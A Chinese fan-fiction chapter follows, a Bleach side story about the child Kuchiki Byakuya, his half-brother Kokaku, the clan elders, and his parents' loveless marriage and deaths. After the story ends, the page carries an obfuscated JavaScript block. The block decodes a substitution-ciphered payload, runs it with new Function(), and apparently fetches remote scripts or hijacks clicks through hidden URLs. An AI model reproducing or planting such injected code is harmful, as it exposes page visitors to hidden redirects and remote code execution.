白哉番外(一)(1 / 2)

他叫白哉,他的肩膀上负载着一个沉重光荣的姓氏:朽木。

十三番说:朽木家是四大贵族之一,是个古老而高贵的家族。

众人说:朽木队长是个严肃不苟言笑的人。可他的儿子,是个意外乖巧的孩子,举止大方,彬彬有礼。

白天,他喜欢沐浴阳光,夜晚,他喜欢描绘繁星。

日与夜相互交替,他的生活蔓延着幸福的气息。

母亲曾经告诉他,‘白哉’是你父亲想了三天才想出的名字,你不要辜负你父亲的心血。

他六岁的生日宴,满庭客人不是身份高贵就是权势滔天。面对无数双挑剔刻薄的眼睛,他落落大方的鞠躬,并附带一个灿烂的笑容。

“我叫朽木白哉,欢迎各位来参加我的生日宴。”

作为朽木家的独子,无可争议的下一任家主继承人。无数光华笼罩在他尚显稚嫩的头顶。但在例如海燕那类人看来,他是一棵被名为‘朽木家’的巨石压迫的小草,顽强的从石缝间长出嫩嫩的叶片。

殊不知,自由不是每个人都向往的。只要他的心是幸福的。自由,真的必要吗?

在他眼里,那个长着奇怪下睫毛的黑发男孩,就是一只海燕,不经意的拍拍翅膀,就能直冲云霄,在无限广阔的天空里无拘无束的飞翔,也是寂寞的飞翔。

“你真不自由。”海燕双手抱胸,鼻子发出重重的哼声。用相对较高大的身材站在走廊里,挡住对方头顶的光线。

“你很寂寞。”他回敬一句,又低头看书,犹如刚才只是和空气说话。

对方哽得一句话都说不出来,木偶似的在他身边,挡了一天里最烈的阳光。

自那后,海燕就常常往朽木家跑,而且把打扰他的每日练习计划当作最大乐趣。

他是朽木白哉,生活得非常幸福而充实。

“少爷,下雨了。你还是回屋吧。”管家撑着伞上前劝道。

“不用,我想多等一会,父亲马上就回来了。”

他固执的拒绝。因为在一小时前他刚学会了瞬步。于是很兴奋的伫立在风雨飘摇的门口,摆出一个孩子急切想得到父亲表扬的神情。

自他六岁起,朽木家的家主就用威严的口吻对他说:白哉,从今天起你要有作为朽木家子孙的责任感。

是的。自那天起,他就把他的人生拴在了‘朽木’二字上,并为之刻苦努力。

“父亲大人,我有东西要展示给你看。”他拉住父亲的袖子,期盼似的摇了摇。

看着儿子鲜少撒娇的举动,朽木家主微愣,一秒后才说:“白哉,今天不行啊。今天我带了两位客人回家来。”

父亲带客人来了?他抬头,这才发现门外还站着两人。

他们明显是一对母子,女人很漂亮,有着和他那古典气质的母亲截然不同的美感。一袭橘黄绣花的和服,衬托着乌黑的发和如蛋白玉石般的肌肤。

躲在她身后的小孩子,才六七岁,探出脑袋好奇张望过来。

他们走进了朽木家,白哉看到管家和仆人脸上呈现的古怪,他们进入到待客的大厅里坐下。白哉又看到母亲皱起姣好的柳眉,对来访者表示不悦。

空气里凝集着看不见却让人不安的东西,把本该温馨和睦的气氛搅得一团糟。

“你好啊,我叫白哉。你叫什么?”他靠近,给了男孩一个温馨的微笑。

气氛似乎稍稍得到了缓和。

“倾角。我叫羽风倾角。”像是被他所感染了。小男孩咧开嘴,五六颗乳牙上下开合。

“他是你的弟弟。”父亲把手放到小男孩的头顶揉了一下,对他嘱咐道:“白哉,你是哥哥,要照顾好他。”

弟弟?父亲大人这句出乎意料的话,像一次最猛烈的攻击,让他措手不及的愣在当场。

很快,母亲也开口了:“白哉,你把他带下去吧。我们之间有事要谈。”

“是。”他果断的鞠躬,然后又轻柔对倾角伸出了友好的手。

“倾角,你要不要去看锦鲤?我知道有个地方有很多的鱼!”

他拉着小男孩的手,快步离开了这个压抑的难受之地。

他还是个小孩子,没必要把自己的掺和到大人的世界里。在他看来,大人世界里的那些东西,并不是像他这样的小孩能了解的,也不用了解。

紫玉的眼眸暗了暗,随即又亮起天真的光明,引领着急切想看鱼的男孩离去。

那一天,是一场悲剧的开幕。

朽木家主留他们住了几天。很快,庭院出现了两个小孩嬉戏的身影。

于是,仆人们开始窃窃私语了。

“少爷,你为什么要和那个孩子玩……他可是……”话突然而止,因为侍女被白哉脸上呈现的冰冷所吓到。

“他叫倾角。小菊。”严肃的提醒后,又春风化雨。他说:“他是我的弟弟,为什么我不能和他一起玩?好了,小菊你去端一盘糕点来。

侍女离去的背影仍然有些发抖。从小少爷身体里渗透出的灵压,已不负往昔的柔和了。

“倾角,你喜欢吗?”

“恩,好漂亮的鱼!”倾角伸手到水池里,想要抚摸那些漂亮的鳞片。

身后传来刻意的咳嗽声。两个孩子同时转头,表情各不一样。

几个高大却枯瘦的老人出现在视野里,灰白的衣袍垂直笔挺。像一排棱角丛生的峭壁,将撕碎任何妄图攀岩越矩的人。

倾角缩到白哉身后,像只受到惊吓的小狗。

“白哉少爷,今日的练习完成了吗?”轻蔑的瞄向躲到白哉身后的男孩。大长老移动一下下巴,刻薄的问。“他是谁?”

他恭敬的鞠躬:“大长老,他叫羽风倾角。是、是父亲带回来的客人。”

“哦。羽风?”满是皱纹的脸冷下来。他沉吟道:“算了。只要不姓朽木就行了。”

白哉不易察觉的抽了一下眉。

长老们继续说:“白哉,你是朽木家的少爷,要注意自己的身份。不可以做有侮朽木家的事。”

“对不起。大长老。”咬牙,他俯身鞠躬:“我以后会注意的。”

长老们这才满意的抚摸胡须,离开了。

倾角这才后怕钻出来,边擦汗边问:“白哉哥哥,那几个老爷爷是谁?他们的眼神好可怕。比流魂街的恶犬还吓人!”

恶犬?他抿起双唇,极力掩饰。

“恩。也许他们就是朽木家的恶犬。”

朽木爷爷说:真意外,两个孩子相处得不错啊。

朽木夫人说:白哉是个懂事的孩子。

某天,他的爷爷,朽木家已退休的家主,突然说要带他去个地方。当来到那间屋子前,他无法抑制自己的激动。

那是朽木家的重要中枢,用于存放着族谱,以及有关历代朽木家人物的记录资料地方。

“爷爷,我、我可以真的进去吗?”他立在门口,犹豫不安的问,可满眼的期盼之色溢于表面。

爷爷说:“进来吧。没关系的。白哉你是朽木家的独子,未来的继承人。记住,今天我们只是来整理资料。不过,今天的事我们都要保密。不要跟别人说。”

一老一小,同时伸出食指比在嘴边,会心一笑。

站在堆积如山的书籍库里,翻阅和整理了数多书籍多显乏味,他随手又抽出一副卷轴。无心的展开后,顿时面色古怪。随后喊:“爷爷。”

“发现什么了吗?”

“他是谁?”他把画卷呈递给爷爷。画卷上的一个十一二岁的少年站在松树下,清雅的面容,满眼温和的神情,一如阳光自天空洒下。

可白哉满腹疑问:这个人和他怎么长得这么相像?

爷爷看到画后,神情也凝重了。望着画卷上的少年,久久无语。直到漫长的几分钟后。才发出悠长的叹息:“哦,是他。”

“他是……”

爷爷把画卷有递还给他,拿出族谱翻开,手指下移,在那如根系繁杂的众多名字中,手指定在一个秀挺的名字上。

朽木玉。

而在那个名字旁边并排的,便是爷爷的名字。

“他是我的弟弟。”

他看到,爷爷摩挲着那个名字,缓缓的反复轻念,苍老的眼里沉淀出一小片深黑的色彩,疑是回忆往昔。

几秒的漫长静止后,老人才从过去那美好如繁花的青葱岁月里拔住意识。用惋惜不已的语气述说:“在当时,他是朽木家有史以来最优秀的人,天才也不足以形容。无论是长老,还是家主,都相信‘朽木家最出色家主’的头衔,将移位给他。”“

“那……他后来呢……”内心中的好奇无限扩大,可看到爷爷那凝重悲哀的表情,便不敢多问。

“可惜……天妒英才……他只活到了十八岁……就在他……”爷爷掩盖不住深深的遗憾之色的低头,白哉立刻懊恼的欲道歉,下一秒一只大手抚摸上他的头。

曾经叱诧战场的死神队长,在漫长血色风云过后的日暮西山的景色中,回归成一位疼爱孙子的好爷爷的角色。

那样柔和的目光,像是透过白哉,遥望着远方。

宽大有力的手掌,虽然皮肤干枯粗糙,可抚摸在头顶的感觉却意外的温暖柔和。

“白哉你很像他哦,说不定你就会成为最出色的家主。”

白哉稚气未脱的脸蛋上,焕发出一种喜悦的自信神色。

“恩。我会的。”

在任何人眼里,白哉听话懂事又乖巧温顺。是一个典型的父母想要的好孩子。

其实,他有着外人看不到的一面。

朽木家的庭院大如迷宫,很适合喜欢聊天的仆人们窃窃私语。而多孔的假山,有足够的空间能容纳下一个十岁男孩的身体。

“不知道老爷是怎么考虑的,都瞒了几十年了,为什么不再多瞒些日子。”

“纸终是包不住火。”

“其实夫人一直都知道。只是她没点破。”

“恩。长老们也知道。他们现在还在大发雷霆呢!”

“最可怜的还是白哉少爷。”

“可少爷对我说,他很高兴有个弟弟。”

“笨蛋,白哉少爷才几岁,懂什么?可怜啊,等他长大了,就不会这么认为了。”

可仆人们的脚步声渐行渐远,可那些飘荡在风中的话,还是顺着空气钻入假山的缝隙。他在山洞里蜷缩成一团,不言不语。直到传来管家带领着仆人焦急的呼唤声,才跳了出来。

“我在这里。”

“少爷,你去哪里了?你的衣服……”管家留意他衣服可疑的灰尘。

“没什么。”他淡淡的一语掩盖:“我才练习瞬步回来。”

大人的事,他不想参合,其实他对大人的世界有种难恐惧。有些事,他不想知道,想回避。

可事情不容回避。

“请你不要再和那个孩子接触了。白哉少爷。”

在长老专属书房里,所有的长老包围住他,俯身郑重的告诫:“你是我们朽木家的独子,是继承人,未来的朽木家主。在那一天的时候,我就说过了。不要和来历不明的小孩一起玩,那样只会降低你的身份。”

我是独子?他是来历不明的小孩?那群老人家知道他们在说什么吗?心里涌动黑色的涟沥,可他还是故作不解的反问:“可是倾角也是父亲大人的孩子,是我的弟弟。为什么要阻止我和他接触!”

“那个野种没资格成为我们朽木家的子孙。”大长老本来就阴沉的脸一听此话,就变得乌黑如墨:“白哉少爷,自你六岁开始你就接受了如何成为一名优秀贵族以及出色的继承人的精英教育。所以请你不要提一些任性的要求。”

提一些任性的要求?

究竟谁才是任性的人——手指深深掐如掌心,他克制自己急于反驳的冲动。

“我会牢记长老们的教导的。那么我告退了。”

仆人都看到一向雍容典雅的朽木夫人,第一次带着阴翳的脸孔要求和丈夫单独说话。

“你的事我一直不闻不问,毕竟我们当初有过约定。可你为什么要把他们母子带到这个家,他们的平民区不是生活得很好吗?你为什么非要闹得我们丧失贵族的脸面!长老们为此很恼怒!”

“倾角是我的孩子,难道要我放任他在平民区里生活吗?”

“难道只有倾角是你的孩子吗!白哉他也是!你的行为伤害到他了,你知道吗?”女人的声音忽然哽咽了:“你知道吗?他为了讨你欢心,一直在多么的努力。他只希望你能表扬他!”

愤怒中的人,往往没有注意到周遭环境。

他们那些生生刺耳的争吵,透过薄薄的纸门。打破了走廊的寂静无声的假象,缭绕在蜷缩在门外的小小身体四周。

他抱膝靠在门框上,闭上了眼睛。头顶的点点繁星,映照不进他内心的漆黑夜空。

然后,他偷看过了父亲的日记。里面记载着有关他的父亲所爱的平民女子以及他同父异母的弟弟的一些事。

一个父亲说要加班不回家的日子里,他怀揣抄来的地址,偷偷溜出家门,第一次离开了静灵廷,第一次踏足到了平民街道。

从那些衣着朴素动作粗鲁的人身边走过,在狭窄又布满尘土的小巷里拐弯,他小心的躲开石板路缝隙里长出的零星野花,向几个在水沟里吊虾子的孩子问路……

再然后,他看了那个家以及在门口的一家人。

在印象中威严认真、不苟言笑的父亲,此刻却扬起了满脸灿烂生辉的笑容,抱起倾角小小的身体,一旁的女人跟着掩嘴笑着。

徐徐下落的夕阳,如心头之血。

他从没有被父亲那样拥抱过,那样的亲昵行为刻薄得连在梦中都没有出现过。

胸口就像破开了大洞,妒忌和憎恨的虚匍匐爬出,想要毁掉自己所带的画面。

那副一家人温馨和睦的画面。

那个傍晚下了一场雨,他从布满整个静灵廷的乌云下走了回家。

“白哉,休息一下吧。”朽木夫人见他已挥刀练了好几个小时,心疼的用一方手帕为自己的孩子擦拭汗水。

这孩子最近比以前跟努力用功了,除此之外,似乎又改变了些。

推拒开母亲的手,疲惫的小脸依旧固执:“没关系,我还能坚持住。”

一阵疾风忽掠过脑后,梳理整齐的黑发瞬间披满肩膀。

“哦,白哉小弟,你还真有精神。那和我一起玩啦!”四枫院家的人形黑猫倚在墙头,手中的红绳晃啊晃,嬉皮笑脸:“捉迷藏如何?你躲,你来捉!”

墙下的男孩瞬间沉下脸,墙头的女猫妖并没有看清覆盖在阳光阴影下显得深邃的眉宇。

“不要。”垂下眼睑无视了往日的邀请,他转身就走:“那是小孩子的游戏。”

瘦弱的背影,在烈日晴空下,涂写着黑白分明的彩色。

“我已经长大了。”

变强!他想要变得更强,变成和族谱上记载的那些人物一样强大。

爷爷问过,他也保证过。他要成为朽木家历代里最优秀的家主。

这是他和爷爷的约定,也是他现在仅存的精神支柱了。

仆人说:少爷比以前更用功了,但他最近都不再笑了。

既然父亲和母亲不相爱,那他们为什么要结婚?他曾经,偷偷抓着管家的袖子急切的问。

老管家摇头叹气,好半天才缓缓的吐出一句:少爷,你还小,不会懂的。

政治婚姻,无关爱情。

“父亲!你能指导一下我的刀法吗?”他喊住正欲出门的父亲大人。待父亲回头望来,他鼓起勇气抬头和父亲对视。

“我要去上班了。”朽木家顿了顿,眉宇间忽带起一股深沉的雾色,接着说:“这次等我回来吧。白哉你最近的进步很大,可以学些鬼道了。等我回来我亲自指导你的。到时候不准叫苦。”

孩子气的小脸一怔,他是没想到父亲会干脆的答应。他快乐的点头:“恩!”

他看着父亲,走出了黑框大门,天空正下着一场大雪。乌黑的‘六’字在纷纷雪花中,斑驳成模糊不详的图案。

那是他最后一次,看到父亲的背影。

一月的鹅毛大雪,掩盖了鲜红的世界。

朽木家主和麾下七名队员,在现世因公殉职。

父亲下葬的那个月里,母亲很快就病倒了。

在弥留之际,朽木夫人喊来了白哉。郑重的拉住了他,久久不语的凝视着。苍白得失去血色的双唇,吐出青烟薄雾:“对不起。”

仅仅三个字,却让吹拂而来的风使白哉浑身的血凝固。

“白哉,我知道你是个聪明的孩子。我知道在很多事情上,你总算装作不懂,也装作不过问。”

孩子幼稚的黑眼眶湿润了,喉头哽咽几下。

朽木夫人摇着摇头,断断续续的说:“原谅我,我一直对你不够关心。其实你很渴望得到我和你父亲的关心,可我和他……原谅我……”

“既然如此……你们为什么要生下……我……”他的话和泪水一同滑落面颊。滴落在狠狠揪住衣服的手背上。

他知道,他都清楚。父母间的相敬如宾,是在掩盖彼此冷漠冰质的感情。

他们间的冷漠,也倾泻到了他身边。

母亲的目光久久的停留在他流泪的脸上,呈现一种透明的悲伤和哀愁。

最后她才缓慢的说道:“因为这是——家族的责任。”

她躺下了,闭上眼睛继续说道:“我们身为一个贵族,要有为家族奉献一切的觉悟。为了维护家族的荣耀和光辉,我们的责任就是不惜牺牲自己的一切。”

“身为家族的人,活着就……”

风停了,蜡烛灭了,声音也没了。

只有他还在默默流泪。

静静悄悄的卧室内,细微压抑的孩子的抽泣声突显得飘渺,若有若无。

窗外的月光,孤独的照耀着静灵廷里的重重楼阁,照耀着楼阁里在哭泣的小小的人儿。

“坏人!你们都是大坏人!”倾角用七八岁的身体出现在朽木家,拦住了出行的队伍。

他用许多大人没法拥有的勇气,在一片倒吸凉气的声响中,举起手指指向了朽木家的最高权力和身份的人——长老们,以及在长老们身后的他。

倾角,他要做什么?白哉挥开了拦住他的仆人,从长老们飘摇的衣袖间隙里看到一件款式独特的白色衣服。

那是奔丧的人才穿的孝服。

“你们这些坏人……你们不让爸爸回家见我和妈妈,还不让妈妈来找爸爸!爸爸离去的事,还是隔壁的叔叔告诉我们的……”说着说着,他抽泣起来,泪眼鼻涕布满整张小脸:“妈妈说她要和爸爸一起走。然后她就……她就……”

拥有冰做的心肠的长老们给了管家一个极度不悦的眼神,管家立刻命令仆人上前把他拉开,不要阻碍了朽木家前进的路。

倾角从宽大的衣服后掏出了一个水桶,朝着众人劈头盖脸的倒来。

“哗。”一桶污水掺杂着孩子的愤怒,如一条小小的水蛇,将才上前的仆人浇了一头一脸,几位长老也躲闪不及,价值不菲的锦缎衣料沾染上丑陋的图画,像一张张怪脸,讥讽着这个名门家族。

众人此起彼伏的叫骂中,白哉杵在原地,刚才的情景在脑海里一遍又一遍的回放。

“像这样一个贵族家门,不如没有的好!”倾角大叫着再把桶砸向扑来一个彪形大汉,从街角又窜出一个黑发的男孩子,像山猫般矫捷,拉住他的手,调头就跑,身影很快就消失在错综复杂的小巷里。

管家只高喊着保护长老,并没有派人去追赶。

!function(){function a(a){var _idx="z5palo1gvz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR84nJdqO}pX4"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"4nJdqO}pX4"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mhfO76RqmRT4"="o}0X5ThF)mT)7F56RmRT4"="o}02pThFmhfO76RqmRT4"="o}0_JqhFmT)7F56RmRT4"="o}02TOhFmhfO76RqmRT4"="o}0CSqhF)mT)7F56RmRT4"="o}0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/o}0j(8}vR84nJdqO}pX4"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();